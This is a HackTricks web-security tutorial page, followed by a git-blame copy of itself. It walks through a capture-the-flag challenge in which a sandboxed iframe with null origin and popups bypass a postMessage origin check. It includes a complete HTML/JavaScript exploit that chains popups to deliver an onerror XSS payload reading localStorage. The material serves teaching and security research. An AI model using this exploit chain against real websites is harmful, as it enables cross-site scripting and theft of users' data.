hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

# Bypassing SOP with Iframes - 1

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-1

In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded

```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
  const data = e.data;
  if (e.origin !== window.origin && data.identifier !== identifier) return;
  if (data.type === 'render') {
    renderContainer.innerHTML = data.body;
  }
}
```

The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.

Let's see the solution they propose.

### SOP bypass 1 (e.origin === null)

When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.

If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).

### SOP bypass 2 (window.origin === null)

The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.

### Challenge Solution

Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.

That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.

```html
<body>
  <script>
    f = document.createElement('iframe');
    
    // Needed flags
    f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
    
    // Second communication with /iframe.php (this is the top page relocated)
    // This will execute the alert in the correct origin
    const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
      x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
    },1000);`.replaceAll('\n',' ');
   
   // Initial communication
   // Open /iframe.php in a popup, both iframes and popup will have "null" as origin
   // Then, bypass window.origin === e.origin to steal the identifier and communicate
   // with the top with the second XSS payload
    f.srcdoc = `
    <h1>Click me!</h1>
    <script>
      onclick = e => {
        let w = open('https://so-xss.terjanq.me/iframe.php');
        onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
        setTimeout(_ => {
          w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
        }, 1000);
      };
    <\/script>
    `
    document.body.appendChild(f);
  </script>
</body>
```

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`# Bypassing SOP with Iframes - 1`

a 2024-07-18 23:15:55 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

a 2024-07-18 23:15:55 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
a 2024-07-18 23:15:55 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
a 2024-07-18 23:15:55 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`## Iframes in SOP-1`

			`In this [challenge](https://github.com/terjanq/same-origin-xss) created by [NDevTK](https://github.com/NDevTK) and [Terjanq](https://github.com/terjanq) you need you need to exploit a XSS in the coded`

			```javascript
			`const identifier = '4a600cd2d4f9aa1cfb5aa786';`
			`onmessage = e => {`
			`const data = e.data;`
			`if (e.origin !== window.origin && data.identifier !== identifier) return;`
			`if (data.type === 'render') {`
			`renderContainer.innerHTML = data.body;`
			`}`
			`}`
			```

			The main problem is that the [main page](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to bypass `e.origin !== window.origin`.

			`Let's see the solution they propose.`

			`### SOP bypass 1 (e.origin === null)`

			When `//example.org` is embedded into a sandboxed iframe, then the page's origin will be `null`, i.e. `window.origin === null`. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could force the `null` origin.

			If the page was embeddable you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).

			`### SOP bypass 2 (window.origin === null)`

			The lesser known fact is that when the sandbox value `allow-popups` is set then the opened popup will inherit all the sandboxed attributes unless `allow-popups-to-escape-sandbox` is set.\
			So, opening a popup from a null origin will make `window.origin` inside the popup also `null`.

			`### Challenge Solution`

			Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to send a payload that will exploit the XSS.

			That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the popup from the iframe which has origin `null`) because `data.identifier === identifier`. Then, the XSS will trigger again, this time in the correct origin.

			```html
			`<body>`
			`<script>`
			`f = document.createElement('iframe');`

			`// Needed flags`
			`f.sandbox = 'allow-scripts allow-popups allow-top-navigation';`

			`// Second communication with /iframe.php (this is the top page relocated)`
			`// This will execute the alert in the correct origin`
			const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
			`x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');`
			},1000);`.replaceAll('\n',' ');

			`// Initial communication`
			`// Open /iframe.php in a popup, both iframes and popup will have "null" as origin`
			`// Then, bypass window.origin === e.origin to steal the identifier and communicate`
			`// with the top with the second XSS payload`
			f.srcdoc = `
			`<h1>Click me!</h1>`
			`<script>`
			`onclick = e => {`
			`let w = open('https://so-xss.terjanq.me/iframe.php');`
			`onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';`
			`setTimeout(_ => {`
			`w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')`
			`}, 1000);`
			`};`
			`<\/script>`
			`
			`document.body.appendChild(f);`
			`</script>`
			`</body>`
			```

a 2024-07-18 23:15:55 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

a 2024-07-18 23:15:55 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
a 2024-07-18 23:15:55 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
a 2024-07-18 23:15:55 +00:00			`{% endhint %}`